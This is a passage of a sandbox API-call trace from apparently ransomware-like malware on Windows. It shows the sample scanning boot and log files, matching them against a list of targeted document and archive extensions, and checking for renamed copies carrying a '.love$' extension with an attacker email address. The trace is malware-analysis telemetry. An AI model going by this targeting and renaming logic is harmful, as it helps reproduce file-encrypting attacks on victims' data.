dwMilliseconds=0x64) returned 0x102 [0278.641] GetTickCount () returned 0x114eb9a [0278.641] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0278.761] GetTickCount () returned 0x114ec07 [0278.761] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0278.876] GetTickCount () returned 0x114ec84 [0278.876] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0280.509] GetTickCount () returned 0x114f2dd [0280.509] GetTickCount () returned 0x114f2dd [0280.509] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0280.984] GetTickCount () returned 0x114f4b2 [0280.984] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0281.124] GetTickCount () returned 0x114f53e [0281.124] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0281.402] GetTickCount () returned 0x114f658 [0281.402] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0281.599] GetTickCount () returned 0x114f723 [0281.599] GetTickCount () returned 0x114f723 [0281.599] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0281.855] GetTickCount () returned 0x114f81d [0281.855] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x102 [0282.015] GetTickCount () returned 0x114f8b9 [0282.015] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x64) returned 0x0 [0282.064] WaitForMultipleObjects (nCount=0x4, lpHandles=0x2fcff5c*=0x308, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0282.408] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4e31020 | out: hHeap=0x670000) returned 1 [0282.414] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c1c0 | out: hHeap=0x670000) returned 1 [0282.414] lstrlenW (lpString=".love$") returned 6 [0282.414] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c5970 | out: hHeap=0x670000) returned 1 [0282.414] lstrlenW (lpString=".[im.online@aol.com]") returned 20 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x687748 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c180 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6830 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d66c8 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6920 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6728 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6890 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d66e0 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c0f0 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d67d0 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6740 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d67e8 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c0e0 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c250 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6770 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c240 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6818 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c270 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d66f8 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad4d0 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adb88 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x688d90 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x68bfe0 | out: hHeap=0x670000) returned 1 [0282.415] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6fc030 | out: hHeap=0x670000) returned 1 [0282.416] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6cce80 | out: hHeap=0x670000) returned 1 [0282.416] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113c80 [0282.417] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113c80, Size=0x20) returned 0x41aac90 [0282.417] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113bd8 [0282.417] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113bd8, Size=0x20) returned 0x41aadf8 [0282.417] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.417] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.417] Wow64DisableWow64FsRedirection (in: OldValue=0x2fcff7c | out: OldValue=0x2fcff7c*=0x1) returned 1 [0282.417] lstrlenW (lpString="kernel32.dll") returned 12 [0282.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aadf8 | out: hHeap=0x670000) returned 1 [0282.417] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.417] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aac90 | out: hHeap=0x670000) returned 1 Thread: id = 43 os_tid = 0xde8 Thread: id = 48 os_tid = 0xe08 [0222.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x3291e20 [0222.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x32a1e28 [0222.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5130 [0222.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x70c210 [0222.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c52c8 [0222.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x3ca2020 [0222.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5148 [0222.720] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5148, Size=0x20) returned 0x6ad6d8 [0222.720] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5148 [0222.720] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5148, Size=0x20) returned 0x6ad598 [0222.720] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0222.720] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0222.720] Wow64DisableWow64FsRedirection (in: OldValue=0x346ff50 | out: OldValue=0x346ff50*=0x0) returned 1 [0222.720] lstrlenW (lpString="kernel32.dll") returned 12 [0222.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad6d8 | out: hHeap=0x670000) returned 1 [0222.720] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0222.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad598 | out: hHeap=0x670000) returned 1 [0222.720] Sleep (dwMilliseconds=0x64) [0223.075] Sleep (dwMilliseconds=0x64) [0223.281] Sleep (dwMilliseconds=0x64) [0223.565] lstrcmpiW (lpString1=".LOG2", lpString2=".love$") returned -1 [0223.565] lstrlenW (lpString="BCD.LOG2") returned 8 [0223.565] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0223.681] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=0) returned 1 [0223.681] CloseHandle (hObject=0x37c) returned 1 [0223.681] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.682] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.682] lstrlenW (lpString=".doc") returned 4 [0223.682] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0223.682] lstrlenW (lpString=".docx") returned 5 [0223.682] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0223.682] lstrlenW (lpString=".pdf") returned 4 [0223.682] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0223.682] lstrlenW (lpString=".xls") returned 4 [0223.682] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0223.682] lstrlenW (lpString=".xlsx") returned 5 [0223.682] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0223.682] lstrlenW (lpString=".ppt") returned 4 [0223.682] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0223.682] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.682] lstrlenW (lpString=".zip") returned 4 [0223.682] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0223.682] lstrlenW (lpString=".rar") returned 4 [0223.682] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0223.682] lstrlenW (lpString=".bz2") returned 4 [0223.682] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0223.682] lstrlenW (lpString=".7z") returned 3 [0223.682] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0223.682] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.682] lstrlenW (lpString=".dbf") returned 4 [0223.682] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0223.682] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.682] lstrlenW (lpString=".1cd") returned 4 [0223.682] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0223.683] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.683] lstrlenW (lpString=".jpg") returned 4 [0223.683] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0223.683] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.683] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.683] lstrlenW (lpString=".doc") returned 4 [0223.683] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0223.683] lstrlenW (lpString=".docx") returned 5 [0223.683] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0223.683] lstrlenW (lpString=".pdf") returned 4 [0223.683] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0223.683] lstrlenW (lpString=".xls") returned 4 [0223.683] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0223.683] lstrlenW (lpString=".xlsx") returned 5 [0223.683] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0223.683] lstrlenW (lpString=".ppt") returned 4 [0223.683] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0223.683] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.683] lstrlenW (lpString=".zip") returned 4 [0223.683] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0223.683] lstrlenW (lpString=".rar") returned 4 [0223.683] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0223.683] lstrlenW (lpString=".bz2") returned 4 [0223.683] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0223.683] lstrlenW (lpString=".7z") returned 3 [0223.683] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0223.683] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.683] lstrlenW (lpString=".dbf") returned 4 [0223.684] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0223.684] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.684] lstrlenW (lpString=".1cd") returned 4 [0223.684] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0223.684] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0223.684] lstrlenW (lpString=".jpg") returned 4 [0223.684] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0223.684] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0223.684] lstrlenW (lpString="bootvhd.dll") returned 11 [0223.684] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0223.878] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=99744) returned 1 [0223.878] CloseHandle (hObject=0x380) returned 1 [0223.879] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0223.879] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0223.879] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.879] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.879] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.879] lstrlenW (lpString=".doc") returned 4 [0223.879] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0223.879] lstrlenW (lpString=".docx") returned 5 [0223.880] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0223.880] lstrlenW (lpString=".pdf") returned 4 [0223.880] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0223.880] lstrlenW (lpString=".xls") returned 4 [0223.880] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0223.880] lstrlenW (lpString=".xlsx") returned 5 [0223.880] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0223.880] lstrlenW (lpString=".ppt") returned 4 [0223.880] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0223.880] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.880] lstrlenW (lpString=".zip") returned 4 [0223.880] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0223.880] lstrlenW (lpString=".rar") returned 4 [0223.880] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0223.880] lstrlenW (lpString=".bz2") returned 4 [0223.880] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0223.880] lstrlenW (lpString=".7z") returned 3 [0223.880] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0223.880] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.880] lstrlenW (lpString=".dbf") returned 4 [0223.880] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0223.880] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.880] lstrlenW (lpString=".1cd") returned 4 [0223.880] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0223.880] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.880] lstrlenW (lpString=".jpg") returned 4 [0223.881] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0223.881] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.881] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.881] lstrlenW (lpString=".doc") returned 4 [0223.881] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0223.881] lstrlenW (lpString=".docx") returned 5 [0223.881] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0223.881] lstrlenW (lpString=".pdf") returned 4 [0223.881] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0223.881] lstrlenW (lpString=".xls") returned 4 [0223.881] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0223.881] lstrlenW (lpString=".xlsx") returned 5 [0223.881] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0223.881] lstrlenW (lpString=".ppt") returned 4 [0223.881] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0223.881] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.881] lstrlenW (lpString=".zip") returned 4 [0223.881] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0223.881] lstrlenW (lpString=".rar") returned 4 [0223.881] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0223.881] lstrlenW (lpString=".bz2") returned 4 [0223.881] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0223.881] lstrlenW (lpString=".7z") returned 3 [0223.881] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0223.881] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.881] lstrlenW (lpString=".dbf") returned 4 [0223.881] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0223.881] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.882] lstrlenW (lpString=".1cd") returned 4 [0223.882] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0223.882] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0223.882] lstrlenW (lpString=".jpg") returned 4 [0223.882] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0223.882] Sleep (dwMilliseconds=0x64) [0224.118] lstrlenW (lpString="bootmgr") returned 7 [0224.118] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.120] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=395226) returned 1 [0224.120] CloseHandle (hObject=0x39c) returned 1 [0224.120] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0224.121] GetFileAttributesW (lpFileName="C:\\bootmgr.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\bootmgr.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.121] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0224.126] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.126] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.126] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.126] lstrlenW (lpString=".doc") returned 4 [0224.126] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1 [0224.126] lstrlenW (lpString=".docx") returned 5 [0224.126] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1 [0224.126] lstrlenW (lpString=".pdf") returned 4 [0224.126] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1 [0224.126] lstrlenW (lpString=".xls") returned 4 [0224.126] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1 [0224.126] lstrlenW (lpString=".xlsx") returned 5 [0224.126] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1 [0224.126] lstrlenW (lpString=".ppt") returned 4 [0224.126] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1 [0224.126] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.126] lstrlenW (lpString=".zip") returned 4 [0224.127] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1 [0224.127] lstrlenW (lpString=".rar") returned 4 [0224.127] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1 [0224.127] lstrlenW (lpString=".bz2") returned 4 [0224.127] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1 [0224.127] lstrlenW (lpString=".7z") returned 3 [0224.127] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1 [0224.127] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.127] lstrlenW (lpString=".dbf") returned 4 [0224.127] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1 [0224.127] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.127] lstrlenW (lpString=".1cd") returned 4 [0224.127] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1 [0224.127] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.127] lstrlenW (lpString=".jpg") returned 4 [0224.127] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1 [0224.127] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.127] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.127] lstrlenW (lpString=".doc") returned 4 [0224.127] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1 [0224.127] lstrlenW (lpString=".docx") returned 5 [0224.127] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1 [0224.127] lstrlenW (lpString=".pdf") returned 4 [0224.127] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1 [0224.127] lstrlenW (lpString=".xls") returned 4 [0224.127] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1 [0224.127] lstrlenW (lpString=".xlsx") returned 5 [0224.128] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1 [0224.128] lstrlenW (lpString=".ppt") returned 4 [0224.128] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1 [0224.128] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.128] lstrlenW (lpString=".zip") returned 4 [0224.128] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1 [0224.128] lstrlenW (lpString=".rar") returned 4 [0224.128] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1 [0224.128] lstrlenW (lpString=".bz2") returned 4 [0224.128] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1 [0224.128] lstrlenW (lpString=".7z") returned 3 [0224.128] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1 [0224.128] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.128] lstrlenW (lpString=".dbf") returned 4 [0224.128] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1 [0224.128] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.128] lstrlenW (lpString=".1cd") returned 4 [0224.128] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1 [0224.128] lstrlenW (lpString="C:\\bootmgr") returned 10 [0224.128] lstrlenW (lpString=".jpg") returned 4 [0224.128] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1 [0224.128] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0224.129] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0224.129] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0224.136] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=0) returned 1 [0224.136] CloseHandle (hObject=0x39c) returned 1 [0224.139] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.139] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.139] lstrlenW (lpString=".doc") returned 4 [0224.139] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.139] lstrlenW (lpString=".docx") returned 5 [0224.139] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.139] lstrlenW (lpString=".pdf") returned 4 [0224.139] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.139] lstrlenW (lpString=".xls") returned 4 [0224.139] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.139] lstrlenW (lpString=".xlsx") returned 5 [0224.139] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.139] lstrlenW (lpString=".ppt") returned 4 [0224.139] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.139] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.139] lstrlenW (lpString=".zip") returned 4 [0224.140] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.140] lstrlenW (lpString=".rar") returned 4 [0224.140] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.140] lstrlenW (lpString=".bz2") returned 4 [0224.140] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.140] lstrlenW (lpString=".7z") returned 3 [0224.140] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.140] lstrlenW (lpString=".dbf") returned 4 [0224.140] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.140] lstrlenW (lpString=".1cd") returned 4 [0224.140] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0224.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.140] lstrlenW (lpString=".jpg") returned 4 [0224.140] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0224.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.140] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.140] lstrlenW (lpString=".doc") returned 4 [0224.140] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0224.140] lstrlenW (lpString=".docx") returned 5 [0224.140] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0224.140] lstrlenW (lpString=".pdf") returned 4 [0224.140] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0224.140] lstrlenW (lpString=".xls") returned 4 [0224.140] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0224.140] lstrlenW (lpString=".xlsx") returned 5 [0224.141] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0224.141] lstrlenW (lpString=".ppt") returned 4 [0224.141] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0224.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.141] lstrlenW (lpString=".zip") returned 4 [0224.141] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0224.141] lstrlenW (lpString=".rar") returned 4 [0224.141] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0224.141] lstrlenW (lpString=".bz2") returned 4 [0224.141] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0224.141] lstrlenW (lpString=".7z") returned 3 [0224.141] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0224.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0224.141] lstrlenW (lpString=".dbf") returned 4 [0224.141] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0224.141] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 